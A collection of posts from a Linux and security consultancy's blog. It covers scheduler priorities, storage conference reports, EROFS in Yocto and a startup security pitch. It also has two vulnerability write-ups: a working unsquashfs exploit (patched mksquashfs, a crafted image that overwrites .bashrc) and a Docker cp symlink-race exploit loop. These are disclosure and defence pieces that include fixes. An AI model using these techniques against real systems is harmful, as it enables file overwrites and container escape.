This year many discussed topics orbited around solving maintenance and upgrade problems - especially the Xenomai project suffers from that. The transition to the new interrupt pipeline implementation, Dovetail will hopefully reduce the overhead but it isn’t a silver bullet. PREEMPT_RT wise, recent regressions and subtle behavioral changes have been discussed. Most notably changes to softirq processing which made meeting timing constraints for networking application more difficult. The possibility of using XDP and eBPF was stormily debated, bypassing most of Linux’ network stack seems also for time sensitive applications a desirable solution. But it comes with a cost: more complexity and critical code in the application itself. Other topics focused on minor problems such as trouble with the cgroup memory controller and eBPF centered workloads on PREEMPT_RT. Xenomai folks also took the chance to present their realtime capable serial drivers after a PREEMPT_RT user complained about tty drivers and timing sensitive workloads on Linux. Interestingly, eBPF came up on most discussions, sometimes as solution, sometimes as root cause of trouble. At the end of the event we had a good mix of community, user facing features and deeply internal related topics.

Linux process priorities demystified

Richard Weinberger — Wed, 02 Feb 2022 00:00:00 +0100

Linux process priorities demystified

Simple questions often have not so simple answers. One example is the question, What priority does this process have? This question normally comes up when a customer asks us to explain choices made by the CPU scheduler.

To answer it we need to discuss further sub-questions.

What thread of the process are you interested in?
What scheduling policy has this thread?
Who gave us the process priority we’re looking into?

Processes? Threads? Tasks?

Like most operating systems Linux supports threads, which can be seen as a distinct execution flow. In the simplest case we have a process with just one thread, the main thread. While a thread models the execution flow, a process models shared resources between threads. The most prominent resource is memory. Within a process all threads share the same memory. Hence, many threads that run in parallel can work on the same memory to solve a problem.

The Linux CPU scheduler does not operate on processes, in fact it schedules tasks. Within the kernel the smallest scheduling entity is a task, it can be anything that can run on a CPU. It might be a kernel thread, a userspace thread, a threaded interrupt, etc. So don’t get confused, for simplicity we can assume that threads and tasks are the same for now.

Since the scheduler works on tasks, it ensures that each task (and therefore, thread) has its own priority. To learn about the priority one must inspect all threads of a process. By default most Linux tools just show processes, the priorities shown there are the priorities of the main thread. Many offer a way to show threads too. For example in the top utility by pressing H.

Now we are able to answer the first sub-question. We now know that process priorities actually apply per thread, so we need to inspect all threads of a process. If the process in question has just one thread or we’re only interested in a specific thread, things become easy again.

Scheduling policy

POSIX requires that an operating system offers different scheduling policies, also sometimes called scheduling classes. By default all tasks in Linux use the default schedulung policy, called SCHED_NORMAL or SCHED_OTHER.

The scheduling algorithm behind SCHED_OTHER is not defined by POSIX and is implementation specific. Linux makes sure that all tasks within this scheduling policy are treated fairly. This means no task will starve and from the user’s point of view it seems like all programs are running all time, nothing will feel sluggish but heavy workloads still get stuff done in a timely manner. In this policy every task has a priority, it is called nice value. The nice value denotes how nice a task is to other tasks. The value ranges from 19 to -20. Where -20 means that a task is not nice at all and wants to run as often as possible, 19 signifies it is very nice to other tasks and is fine when the scheduler picks other tasks much more often. Default is 0, meaning the task is neither selfish nor too devoted. The current algorithm behind SCHED_OTHER is called Completely Fair Scheduling (CFS). CFS offers two more policies: SCHED_BATCH and SCHED_IDLE. They make sure that a thread either runs when possible in one batch, thus interactivity does not matter, or when SCHED_IDLE is selected that the thread shall run when no other task can run, so the very least priority. Please note that SCHED_IDLE has nothing to do with the idle thread. The idle thread is scheduled when absolutely nothing runable was found by the CPU scheduler. When SCHED_BATCH or SCHED_IDLE are selected CFS’s priority have no meanining, although some tools report a number.

Linux also implements the POSIX Realtime Extensions. Using these extensions time critical programs can run on Linux that have to meet strict timing constraints. It offers two policies: SCHED_FIFO and SCHED_RR. These policies allow deterministic scheduling between threads. Both policies have a priority between 1 and 99, where 1 is the lowest. The scheduler will pick a runnable task depending on the priority.

Linux offers another scheduling policy, SCHED_DEADLINE. This policy does not allow the setting of a priority, so it’s irrelevant here. As opposed to a priority it allows setting a deadline by which a given work would be completed. So the CPU scheduler has to make sure that the task runs for long enough before the deadline.

One might wonder how all these policies relate to each other since they can be mixed on the same system. The Linux CPU scheduler consists of five decision algorithms that select tasks, they get executed in the following order.

Decision algorithms for task selection in Linux CPU scheduler and their order

Stop-Task: This algorithm can only be used by one internal kernel thread to shut down a given CPU. The sole purpose is to preempt the tasks of a given CPU before it can be shut down.
Deadline: It implements the user visible SCHED_DEADLINE policy. If a SCHED_DEADLINE thread is present on the system it will run before all other user visible threads, always.
Realtime: SCHED_FIFO and SCHED_RR policies are implemented here. So realtime threads always run before regular tasks and right after SCHED_DEADLINE threads, if present.
Fair (best known as CFS): CFS implements SCHED_OTHER, SCHED_BATCH and SCHED_IDLE. Most threads present on a system are handled by this algorithm.
Idle: If no algorithm finds a runnable thread the idle algorithm schedules the idle task on the CPU. The idle task is always runnable and puts the CPU in idle mode.

With this knowledge of scheduling policies we can answer the second sub-question. SCHED_OTHER has a priority between 19 and -20, where 19 is the lowest and -20 the highest. SCHED_FIFO and SCHED_RR threads use a priority between 1 and 99, where 1 is the lowest. Internally SCHED_IDLE and SCHED_BATCH tasks have a nice value too, but the scheduling algorithm does not honour it. Don’t get confused when a tool reports a nice value for SCHED_BATCH or SCHED_IDLE.

The ps tool is powerful and allows us to query this information. For example: ps axHo pid,lwp,comm,policy,nice,rtprio.

So we ask ps for a full list of all threads on the system, as well as their process id, thread id, short name, scheduling policy, nice value and realtime-priority.

ps reports SCHED_DEADLINE as DLN, SCHED_OTHER as TS, SCHED_BATCH as B, SCHED_IDLE as IDL, SCHED_FIFO as FF and SCHED_RR as RR.

Dealing with different priority representations

So far we saw that priorities of type nice range from 19 to -20 and realtime from 1 to 99. These are the ranges you can always expect from process tools like ps.

Things get complicated when raw kernel interfaces are used or kernel internal data is analyzed. You’ll face such situations when developing your own tools or using Linux’s kernel instrumentation facilities.

getpriority() system call

A prominent example is the getpriority() system call. It returns the nice value of a thread. If used in C, it will return an integer between -20 and 19 which is the expected nice value, but only if the C library performs a fixup. The raw kernel system call will return a shifted value within the range 1 to 40. The reason behind the shift is Linux’s system call ABI. Negative return values represent error numbers. So if your application uses system calls directly without a libc, this might be confusing.

shifted value	nice value
1	-20
..	..
21	0
..	..
40	19

Using this system call makes only sense if the current scheduling policy is SCHED_OTHER. For all other policies the returned priority is meaningless.

Unified priorities

When you work with kernel instrumentation tools such as ftrace you will encounter the deep internals of Linux. Developers commonly use Linux’s sched_switch trace point to see which task is picked by the CPU scheduler. ftrace will report a line like this one:

[002] d... 565635.368831: sched_switch: prev_comm=kworker/u8:2 prev_pid=891 prev_prio=120 prev_state=R+ ==> next_comm=kworker/u9:4 next_pid=983 next_prio=100

We observe that the scheduler on CPU 2 schedules from PID 891 to PID 983. Please note that the PID in this context is not a process id as userspace would expect - it is in fact a thread id. Within the kernel, PID is the thread id. What userspace gets via the getpid() system call is actually the thread group id.

The alert reader will notice that this trace point has more than just the PID, it also shows the priorities of both tasks. However, they don’t make sense: prev_prio is 120 and next_prio is 100. Neither are in the range of a nice level or a real time priority. Additionally, the trace point does not indicate what scheduling policy is being used.

To decipher these values we need to know that Linux internally uses a unified priority among all scheduling policies.

It ranges from -1 to 139, where -1 is the highest and 139 the lowest priority. The unified priority is calcualted as table shows:

policy	specific priority	unified priority
DEADLINE	-	-1
RR/FIFO	99	0
RR/FIFO	98	1
..	..	..
RR/FIFO	1	98
OTHER	-20	100
..	..	..
OTHER	0	120
..	..	..
OTHER	19	139

With this information we can translate prev_prio to a nice value of 0, and next_prio to a nice value of -20.

A common pitfall when working with real time applications is to confuse real time priorities from kernel internals and reported by user space tools. Both are in the same range but reversed.

Attentive readers will notice that unified priority 99 is not claimed by any policy. This is an inconsistency within the Linux scheduling code and as of writing (v5.17-rc3) still present.

proc filesystem

The proc filesystem is the source of all process information tools such as ps display. For each thread it offers a stat file which contains, beside many other statisticts, all stats about the scheduling policy.

To learn the priority of a task, the 18th and 19th field of /proc//task//stat is of interest. If a task has the scheduling policy SCHED_OTHER the 19th field is non-zero and exhibits the nice value.

The 18th field is more generic and exposes the unified priority of a task, but shifted by -100.

shifted value	unified priority
-101	-1
-100	0
..	..
-51	49
..	..
39	139

Executive summary

CPU scheduler decisions affect threads, not processes.
Each thread has a scheduling class, either SCHED_DEADLINE, SCHED_OTHER, SCHED_BATCH, SCHED_IDLE, SCHED_FIFO or SCHED_RR.
Scheduling classes SCHED_OTHER, SCHED_FIFO and SCHED_RR allow priorities.
SCHED_OTHER priority is the so-called nice value, ranging from -20 to 19.
SCHED_FIFO and SCHED_RR support priorities between 1 and 99.
Raw kernel interfaces and instrumentation facilities expose a unified priority, often in a normalised/shifted way. Here be dragons.

Re-exploiting unsquashfs

Aaron Marcher — Mon, 10 Jan 2022 00:00:00 +0100

Re-exploiting unsquashfs

Squashfs is a compressed read-only filesystem for Linux that is commonly used on embedded systems, rescue systems or similar cases. The squashfs-tools package provides a set of userspace tools to create, modify and unpack squashfs image files. Prominent among security researchers is the unsquashfs tool which extracts a squashfs image to specified path.

In 2021 commit 79b5a555058e (“Unsquashfs: fix write outside destination directory exploit”) introduced a fix for unsquashfs that intends to fix vulnerability CVE-2021-40153: A specially crafted filesystem could trick the unsquashfs tool to overwrite arbitrary files.

This fix however, missed an important part, which allows practically the same exploit in another way. This vulnerability is identified as CVE-2021-41072.

Vulnerabilities of this sort are especially problematic since unsquashfs is widely used among security researchers to analyze the firmware of embedded systems. A carefully crafted squashfs will work perfectly fine when mounting in Linux but can overwrite files when unpacking and thus compromise the system of the security researcher.

Let’s do it again

Let’s take a closer look at how CVE-2021-40153 was fixed and how we can bypass this fix for CVE-2021-41072:

Squashfs stores the filename in the directory entry, which unsquashfs uses to create the new file while unpacking. However, unsquashfs did not validate the filename for directory traversal outside the destination before commit 79b5a555058e. A specially crafted squashfs image could thus write to locations outside the target directory, such as /etc/crontab when unpacked with unsquashfs. This in turn could lead to code execution.

The fix for CVE-2021-40153 validates that no file in a squashfs image may contain slashes nor a dot-dot sequence (..) which makes it impossible to have filenames that point outside the target directory.

But there is another way to break outside the target directory while unsquashing: Using good old symlinks!

First, we notice that unsquashfs has no check whether a directory already contains multiple directory entries with the same name. We can thus craft a valid filesystem with multiple identically named files in the same directory. During unpacking, unsquashfs will just overwrite the contents of the existing file.

When we combine this so that we first create a symlink which points outside the target directory, we can then overwrite this target file’s contents with the identically named regular file in the squashfs image. This works, because unsquashfs will just follow the symlink it created.

Exploiting the issue

So, let’s create a new squashfs filesystem that contains a symlink with the name a-symlink.txt that points to the user’s .bashrc. In the next step, we will patch mksquashfs such that it will create a crafted filesystem where a-symlink.txt is both, a symlink and a regular file:

diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
index 127df00fb789..d9ea11a5e175 100644
--- a/squashfs-tools/mksquashfs.c
+++ b/squashfs-tools/mksquashfs.c
@@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
	struct squashfs_dir_entry idir;
	unsigned int start_block = inode >> 16;
	unsigned int offset = inode & 0xffff;
-       unsigned int size = strlen(name);
+       unsigned int size;
	size_t name_off = offsetof(struct squashfs_dir_entry, name);

+       if (strcmp(name, "z-payload.txt") == 0)
+               name = "a-symlink.txt";
+
+       size = strlen(name);
	if(size > SQUASHFS_NAME_LEN) {
		size = SQUASHFS_NAME_LEN;
		ERROR("Filename is greater than %d characters, truncating! ..."

Create a filesystem that will include z-payload.txt (which can be a hostile script) as a-symlink.txt:

$ ln -s ../.bashrc a-symlink.txt
$ echo "echo Whooops!" > z-payload.txt
$ mksquashfs.patched . ../image.sfs

Now we have a filesystem with two identical file names in the same directory. One a-symlink.txt is a symlink that points to ../.bashrc, the other one is a regular file which contains the text echo Whooops!.

Squashfs directory entries have an order and are usually sorted. This is why our evil a-symlink.txt has z-payload.txt as original name, that way we ensure that unsquashfs first creates the symlink and later writes the regular file.

To make the exploit more flexible, the crafted image can even contain a whole series of ../.bashrc target paths with different path depths. This way, the path is determined automatically. In this example we will add only one symlink to keep it simple.

When Linux mounts the crafted filesystem, it reports no error. It just lists the a-symlink.txt symlink twice:

$ mount -o loop ../image.sfs /mnt/
$ ls -l /mnt/
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -> ../.bashrc
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -> ../.bashrc

But when unsquashing, it overwrites the bashrc in the user’s home directory (given unsquashfs is executed one directory layer below $HOME in this example):

$ pwd
/home/user/directory
$ unsquashfs -d destination/ ../image.sfs

On next login, our message will appear when the shell follows the symlink written over the user’s bashrc (and thus parses our z-payload.txt contents):

Whooops!
$

Exploit successful!

Mitigating the problem

Commit e0485802ec72 (“Unsquashfs: additional write outside destination directory exploit fix”) fixes CVE-2021-41072.

It does so by explicitly checking for duplicate filenames within a directory by using sorted directories in v2.1, v3.x and v4.0 filesystems and checking for consecutively identical filenames. Additionally, it ensures sorted directories for v1.x and v2.0 filesystems (no native sorting available), by manually sorting first.

Alpine Linux Persistence and Storage Summit 2021

David Gstir — Sat, 20 Nov 2021 00:00:00 +0100

Alpine Linux Persistence and Storage Summit 2021

The Alpine Linux Persistence and Storage Summit (ALPSS) was back this year in October. Again, the program committee consisting of Christoph Hellwig, Johannes Thumshirn and our own Richard Weinberger did a great job in organizing the get-together of the Linux Kernel Storage community. Like previous times, it took place at Lizumer Hütte (roughly 2000m altitude!) in the Tuxer Alps in Tyrol, Austria.

Day 1: Pizza and Hiking

The conference started on Tuesday with a nice pre-conference lunch (Pizza) in Innsbruck. Afterward, we took Taxis to Lager Walchen in the Wattental. Then it was time for everybody to put on their rain-proof hiking gear and shoulder the rucksacks. We hiked up the Zirbenweg to the Lizumer Hütte, a small path with some nice views for taking photos. After some sweating and puffing, we arrived there roughly two hours later and were greeted by the lodge-keeper with great food and drinks.

Day 2: Storage mixed with Snow

The next day started with a lot of snow, a joint breakfast in the cozy common room, and of course the first talks. First off were Joel Colledge and Philipp Reisner from LINBIT with their talk on performance optimizations in the Distributed Replicated Storage System (DRDB). They showcased areas of DRDB where they have done or plan to do performance improvements. One area directed to more exotic storage hardware like Persistent memory (PMEM), and three general optimizations.

They were followed by Richard Weinberger with a talk about his side project MUSE. MUSE enables emulating Memory Technology Devices (MTD) in userspace using the FUSE interface. Until now we already had nandsim (CONFIG_MTD_NAND_NANDSIM) to emulate NAND chips, but MUSE gives a much more flexible and hackable approach. It also supports SPI NOR and other types of flash storage. This is especially helpful for us at sigma star gmbh when debugging NAND, MTD, or UBIFS issues for our customers. (Hint: keep a lookout for a future, dedicated post about MUSE here at the sigma star blog).

While it was still snowing heavily outside, we continued with two short talks by Hannes Reinecke from SUSE on NVMe over Fabrics in-band authentication and NVMe userspace events and interaction. Especially the talk on in-band authentication was truly interesting. Hannes explained how the NVMe 2.0 specification describes an authentication approach over TCP and how he implemented it for the Linux Kernel. This spiked some discussion since the approach seems to reinvent the wheel as it is very similar to TLS 1.3. More to the point, it is simply an ephemeral Diffie-Hellman exchange that results in a shared session key. According to Hannes, this session key is then not used any further, unless one also uses NVMe encryption, which is just plain TLS 1.3. The conclusion among the participants of ALPSS was that the current specification should probably be improved before it is ready for wider use.

After a short tea break (and more snow), we continued with two talks by Damien Le Moal from Western Digital on command duration limits and Multi-actuator HDDs. In his first talk, Damien described his experiments with high throughput while still minimizing command execution latency. He showed a more general approach called Command Duration Limits (CDL) which expands on the ATA NCQ IO priority feature common to many SATA hard disks. Where ATA NCQ IO priority is only available via ATA, CDL is usable for both ATA and SCSI. The general idea of CDL is to augment disk commands with time limits and a policy on what to do if any limit is exceeded. In his second talk, Damien showcased his findings on the performance of varying payloads on Multi-actuator HDDs.

Since it was still snowing a lot, hiking was canceled and the afternoon continued with BoFs and discussions on a multitude of storage topics. The evening concluded with great food, drinks, and loads of socializing.

Day 3: More Storage

The third day started with a presentation from Matias Bjørling on the current state of Zoned Namespace SSDs on Linux followed by a discussion about what kind of applications can benefit from ZNS. Right afterward, John Meneghini gave insights into his work on a technical proposal to improve NVMe abort (TP-4097). The presentation was closed by a lengthy discussion about whether an abort command should be executed on the admin queue or not.

After a short coffee break to finally wake up, Dennis Maisenbacher presented a novel approach to implementing a Flash Translation Layer (FTL) on top of zoned devices using a Linux device-mapper driver, DM-zap. Various developers in the audience got confused by the usage of the word block on his slides. A block can be seen as a 512b/4k sector unit of a hard disk or an erase block of a flash-based device. In the end, everyone agreed that Dennis had the best ASCII art graphics of all presenters so far. ;-) The next talk focused also on zoned devices. Christoph Hellwig showed his work on a virtual block device that allows random access to zones. The device format is log-structured and makes use of Log-Structured Merge (LSM) trees. During the break, Christoph did a demo of XFS running on top of his log-structured disk.

Keith Busch gave insights into his recent proposal on RAID support for zoned devices. A short discussion emerged whether it is good or not to utilize the page cache for this. Johannes Thumshirn closed the session with his idea on declustered parity RAID support on btrfs. This RAID mode allows arbitrarily sided disks in a RAID system.

With the weather still being bad, most attendees stayed inside and enjoyed the surprisingly well-working internet connection of the lodge. After another excellent dinner, various discussions emerged and ended not seldom in heated debates.

Finally, Hans Holmberg offered two bottles of excellent Champagner he carried himself up to the lodge to celebrate our long-awaited meetup.

Day 4: Back down and Farewells

The last day of ALPSS concluded with a last joint breakfast, packing rucksacks, and hiking back to the base. This time we took the road down to Lager Walchen which made the hike down a bit quicker and especially safer when there is snow. With everybody safe back in the valley, we said our farewells and made our way back home.

Like every time, ALPSS was a great mix of in-depth, to-the-point talks and discussions on the latest in Linux Storage and the breathtaking scenery of the Tyrolean Alps.

How security-integration for IT Startups works best

Thomas Dierl — Tue, 14 Sep 2021 00:00:00 +0200

How to integrate security in IT Startups

IT Startup companies often aim at building a minimal viable product as fast as possible to reduce costs. They just forget one thing: a strategy like that can be costly later on. Especially if the security part was dismissed in the development phase. If a Startup invests some money into security right from the scratch, the costs will be much lower in the end. Why? And what is our strategy to build security in IT Startup companies? Find out more in the following lines.

IT security: a brief history

Over the last 20+ years IT security changed a lot. In the 1990s, it was only a topic for operation system vendors and virus scanning software. But in the early 00 years malware and malicious software started to attack specific applications. From that point on security needed to be an integral part of software development. The goal was clear: avoid misuses from malicious software and malware. They can easily lead to data breaches and data losses, as well as reputational damage, which is fatal for a Startup.

Examples for a lack of security in IT products

There are a lot of examples for such security breaches in software:

Implementation of the security

Security is everywhere. So it is not just a switch that needs to be turned on, or a final security test. As the examples show, security needs to be in every part of the software product, such as

the software itself
data layer
cloud layer
network layer
deployment layer

As a result, security needs to be integrated in the whole software development process - which means that every phase of the software development is affected, from requirements to maintenance. Furthermore, the team needs to be trained to have the security aspects in mind during the whole process.

The importance of security implementation in the beginning

In many cases - as the examples above have shown - security is not in the focus of software projects at all. High costs are the consequence. For big companies that would be tremendous. For Startups it can be more grave: in the worst case it means to go bankrupt because of such an issue.

Our recommendation: Mind security right from the beginning.

Fixing security issues: costs

The earlier an issue is discovered the cheaper it can be fixed. If an issue is found in the design phase it is relatively convenient to fix it. If the lack of security is not fixed, the costs to overhaul it in production can be up to 100 times more. That makes clear that the later an issue is found the more problems can arise.

Security in IT Startups: the sigma star approach

Our special offer for Startups is to implement security right from the beginning. How that works? We bring an experienced sigma star security engineer into your team. He will train the developers and ensures that security is governed at every phase of the development life cycle of the new product. The alternative would be to employ many experienced developers and engineers for all necessary tasks which is very costly over all. To have a security specialist joining the team allows the other team members to focus on their main tasks: the development and evolution of the product itself.

Advantages in a nutshell

reduced costs
team members can focus on their core job
security built into the product
as we share our knowledge your team gets better at security topics over time and can finally go on their own

You have a Startup and need support with security issues? Feel free to contact us. The earlier, the better.

Enhanced Read-Only File System (EROFS) lands in Yocto

Richard Weinberger — Thu, 09 Sep 2021 00:00:00 +0200

Enhanced Read-Only File System (EROFS) lands in Yocto

The upcoming Yocto 3.4 release will contain a small contribution by us. Over the last two years we learned to love EROFS, so we decided to add support for it to Yocto (commit).

Usually when one wants a compressed read-only filesystem for Linux, squashfs is a good choice. It has been around since almost two decades and offers a wide range if different compression algorithms.

Starting with version 5.4, Linux supports a new filesystem that is optimized for compression and read-only storage, EROFS. Compared to squashfs it offers novel techniques such as fixed output size compression and avoids usage of buffer heads. This yields better read throughput with comparable compression ratio. We will post another write-up soon which compares squashfs and EROFS in detail.

EROFS currently supports three compression algorithms, none, lz4 and lz4hc. When EROFS is used as target filesystem in Yocto, one of these has to be selected, just like for squashfs. Just extend the IMAGE_FSTYPES variable with either erofs, erofs-lz4 or erofs-lz4hc. The resulting filesystem image file can be used just like a squashfs image on top of any block device.

Don’t forget to enable EROFS in your kernel config, though! Set at least CONFIG_EROFS_FS and CONFIG_EROFS_FS_ZIP in your kernel configuration.

Enjoy!

Docker to the rescue in an unexpected way

Richard Weinberger — Tue, 10 Aug 2021 00:00:00 +0200

Docker to the rescue in an unexpected way

Imagine you find yourself in a restricted environment and you need some Linux rootfs that runs on the embedded system you just managed get access to. Of course the CPU architecture of the embedded system is not the same as your workstation. The circumstances are further complicated by the fact that the userspace should offer enough tooling to build a C/C++ application. In such a situation docker can help, but in an unexpected way.

Common solutions to deal with such a situation include manually bootstrapping a Linux distribution, installing it in an emulator such as QEMU, building a rootfs from scratch or trying to cross build the targeted application. In any case, there is huge potential to waste a full day or more.

Here, rescue comes in form of docker. Actually the great service to the community by major Linux distributions, docker just offers the tooling. Especially Debian supports a wide range of CPU architectures. So let’s ask docker to pull a Debian image for the desired architecture and instead of starting a container we export the image to use it on the target device.

In this example, Debian stable built for arm32v7 turned out to be useful. Other useful images to deal with embedded systems are arm32v5/debian, arm64v8/debian or riscv64/debian. Linux distributions such as Fedora also offer root filesystems for various CPU architectures.

docker image pull arm32v7/debian:stable 
docker image save arm32v7/debian:stable | tar --wildcards --to-stdout -xf - "*/layer.tar" | tar xf - -C myroot/

After transferring myroot/ to the device and a few apt-get commands the application could be compiled and run.

Is it an ugly hack? Of course!
Is it unorthodox? True!
Are there better/other ways? Sure!
Can it save a lot of time? YES!

There is one drawback to consider: these root filesystems usually come without an init system such as SysV init or systemd. If you plan to boot from it, better ask Linux to directly start into a shell using init=/bin/sh.

The condemned live longer: Symlink races

Richard Weinberger — Fri, 30 Jul 2021 00:00:00 +0200

The condemned live longer: Symlink races

Symlink race vulnerabilities are common issues we encounter while performing code audits. One might think that such bugs should not happen anymore and every developer can easily avoid them - sadly the reality is different. In this blog post, we will have a closer look at a symlink race vulnerability from 2018 in docker. We think the vulnerability is quite interesting since it is easy to exploit but not so obvious to note while reviewing. Attentive readers may ask themselves whether they’d have noticed the issue while developing or reviewing the affected lines of code.

Due to their time-dependent nature, they are not always easy to exploit and therefore remain underrated. On the other hand, sometimes they are exploitable with surprisingly little effort. One of these bugs is the docker vulnerability CVE-2018-15664 from 2018.

Overview

docker offers a way to copy files from/to a container. The basic syntax of the copy tool is:

docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|-
docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH

So to update the container’s /etc/passwd file, a system administrator can execute a command such as:

docker cp new_passwd ea7d702924bc:/etc/passwd

Where ea7d702924bc is the container ID.

Internally, docker cp shifts execution to the docker daemon which runs as root. The daemon will resolve the path to the actual host path of the docker storage. ea7d702924bc:/etc/passwd would resolve to /var/lib/docker/btrfs/subvolumes/6383eed3/etc/passwd

Where /var/lib/docker/btrfs/subvolumes/6383eed3 is the root directory from the container point of view. Depending on the type of docker storage, the path might be different. In this example, we used btrfs subvolumes as storage. For better illustration, please read BASEDIR as /var/lib/docker/btrfs/subvolumes/6383eed3 from now on.

Things get interesting when symlinks are involved. Let’s assume that within the container, /etc/ is a symlink pointing to /. The docker daemon will determine that the last path component of BASEDIR/etc is a symlink. Simply following the symlink is not allowed: It would redirect to /, in this context, the host filesystem root. So docker reads the contents of the symlink and applies it to the base directory of the container. The final path is BASEDIR/.

Therefore the passwd file will land in the container root directly instead of /etc/. This is expected and nothing to worry about.

Under the hood

To ensure that all file operations run within the container filesystem, docker sets up a new mount namespace. The interesting steps are:

Resolving the container path, including symlink check and sanitizing
Creating a new process with a new mount namespace
Sanitizing the new mount namespace with pivot_root() so that the root directory is within the container root
Performing the file operation relative to /.

So, a simplified sequence of executed system calls could be:

[pid  1724] lstat("BASEDIR/etc", {st_mode=S_IFLNK|0777, st_size=1, ...}) = 0
[pid  1724] readlinkat(AT_FDCWD, "BASEDIR/etc", "/", 128) = 1
[pid  1724] lstat("BASEDIR", {st_mode=S_IFDIR|0755, st_size=206, ...}) = 0
[pid  1724] fork() = 21681
[pid 21681] unshare(CLONE_NEWNS)
[pid 21681] mkdirat(AT_FDCWD, "BASEDIR/.pivot_root918928353", 0700) = 0
[pid 21681] pivot_root("BASEDIR", "BASEDIR/.pivot_root918928353") = 0
[pid 21681] chdir("/")                  = 0
[pid 21681] mount("", "/.pivot_root918928353", 0xc420246fd3, MS_REC|MS_PRIVATE, NULL) = 0
[pid 21681] umount2("/.pivot_root918928353", MNT_DETACH) = 0
[pid 21681] unlinkat(AT_FDCWD, "/.pivot_root918928353", AT_REMOVEDIR) = 0
[pid 21681] openat(AT_FDCWD, "/passwd", O_WRONLY|O_CREAT|O_CLOEXEC, 0644) = 6

We observe that docker assumes that the sanitized path cannot change while it is working on it. That’s where the root of the problem lies. Consider that /etc within the container is not a symlink at the time of the check but it is changed to a symlink pointing to / right before mkdirat().

Under this assumption the system call sequence could be:

[pid 15509] lstat("BASEDIR/etc", {st_mode=S_IFDIR|0755, st_size=18, ...}) = 0
[pid 15509] fork() = 21630
[pid 21630] unshare(CLONE_NEWNS)
[pid 21630] mkdirat(AT_FDCWD, "BASEDIR/etc/.pivot_root447772558", 0700) = 0
[pid 21630] pivot_root("BASEDIR/etc/", "BASEDIR/etc/.pivot_root447772558") = 0
[pid 21630] chdir("/")                  = 0
[pid 21630] mount("", "/.pivot_root447772558", 0xc4208981ed, MS_REC|MS_PRIVATE, NULL) = 0
[pid 21630] umount2("/.pivot_root447772558", MNT_DETACH) = 0
[pid 21630] unlinkat(AT_FDCWD, "/.pivot_root447772558", AT_REMOVEDIR) = 0
[pid 21630] openat(AT_FDCWD, "/passwd", O_WRONLY|O_CREAT|O_CLOEXEC, 0644) = 6

If etc is suddenly a symlink to /, the kernel will resolve BASEDIR/etc/ to / in mkdirat() and pivot_root(). The same applies to BASEDIR/etc/.pivot_root447772558 - it will turn into /.pivot_root447772558. This makes the pivot_root() operation basically a no-op since we switched the host root filesystem to /.pivot_root447772558 and back again.

As soon as docker opens /passwd inside the new mount namespace, it will be the host filesystem instead of the root of the targeted container.

Exploiting the problem

In the attack scenario, the attacker has control over a container and can execute code inside of it. He knows that the system administrator either uses docker cp manually or automatically to copy a file into the container.

We saw that docker assumes that the path cannot change while the copy operation is running and that we can get access to the host filesystem if we manage to trick docker by presenting a directory at check time and later a symlink at use time. Hitting exactly the right times to present either a directory or a symlink might sound hard to achieve. There is a simpler approach: a brute force attack. We don’t care if the majority of all tries don’t work, as long as one works.

So we create two files, /etc being a directory and /etc.sym being a symlink to /. To apply the brute force attack /etc and /etc.sym filenames are exchanged forever. At any point in time /etc is either a directory or a symlink to /. To achieve that, we use Linux’s renameat2() system call.

The exploit is basically a program performing

renameat2(AT_FDCWD, "/etc", AT_FDCWD, "/etc.sym", RENAME_EXCHANGE);

in a loop.

The crucial points in time are:

T1: the time of the path being checked
T2: the point when mkdirat() runs to create the pivot directory
T3: when pivot_root() takes place

/etc within the container can either be in state D being a directory or in state S being a symlink. So we have three points in time, which can be in two states. To sum it up: there are eight possible attack states our brute force exploit can trigger. We already know that the attack can only be successful if /etc/ is a directory at check time and then a symlink. Therefore only attack state A4 will lead to success.

This rough estimation shows that one-eighth of all attacks are successful. Not too bad for a brute force attack. Please note that this is just an estimation that leaves out some details. It does not take into consideration, for example, that the time difference between T1 and T2 is large since execution spawns over two processes, while the time between T2 and T3 is minimal since both execution points are in the same process and successive. So hitting the race between T1 and T2 is much more likely than between T2 and T3.

Let’s take a deeper look at the state in which the attack is not successful. We distinguish two types of failures:

unnoticed failures
noticed failures

For example, if at time of mkdirat() etc is a symlink and later at pivot_root() again a directory, pivot_root() will fail and docker cp reports an error.

	A1	A2	A3	A4	A5	A6	A7	A8
T1	D	D	D	D	S	S	S	S
T2	D	D	S	S	S	S	D	D
T3	D	S	D	S	S	D	S	D
	U	E	E	X	U	U	U	U

D ... etc is a directory
S ... etc is a symlink

U ... attack unsuccessful, unnoticed
E ... attack unsuccessful, errors reported
X ... exploited!

Impact

Under optimal circumstances, an attacker within a container can overwrite any file on the host side. On the other hand, the attacker needs to know which file is being written using docker cp and if the copy operation runs very seldom, the chances to hit the race window are low.

Identifying the attack

In a previous section, we saw that there is a chance that docker cp will fail and report an error. If docker cp runs as part of your automation, check logs for failures - they could indicate an attack. Another possibility to detect ongoing attacks is stale .pivot_rootXXXXXXXX directories on the host side, where XXXXXXXX is a number. If the attacker tries to place a file in the host root filesystem, unsuccessful attacks leave a .pivot_rootXXXXXXXX behind.

Fixing the problem

The currently implemented solution is suspending the container while the copy operation is running. With that, the docker daemon can be sure that nothing inside the container can change paths while it is performing the copy operation. The downside of this approach is that suspending a container is slow and will interrupt workloads.

Final thoughts

Symlink races, or more general TOCTOU (Time-of-Check-to-Time-of-Use) issues, are still a problem and not always obvious. To avoid them while writing code, always ask yourself whether a system resource can change after you did some check on it. Usually, the answer is yes, it can change when the check is performed by your code and not by the operating system. Especially when it comes to checks on filesystem resources such as symlinks. If you are using a high-level programming language, try to understand what operations will be made by it at a system call level. Just because it’s a single operation in your favorite programming language it doesn’t have to be atomic.

References

Who is sigma star und who is the team

Thomas Dierl — Tue, 01 Jun 2021 00:00:00 +0200

Who is sigma star & who is the team?

sigma star gmbh is a IT consulting and development company established in 2011 and located in Innsbruck, Austria. Today it is lead by David Gstir, Richard Weinberger and Thomas Dierl.

what we do…

At sigma star we provide consulting and software engineering services in a multitude of areas. The main ones are security and open source software.

… and how we do it

In all our work we strive for high quality and durable solutions.

Expert areas

Topics of the experts group are not limited to but include:

Security and cryptography services, such as: Audits of code or architecture, design and implementation of protocols or concepts.
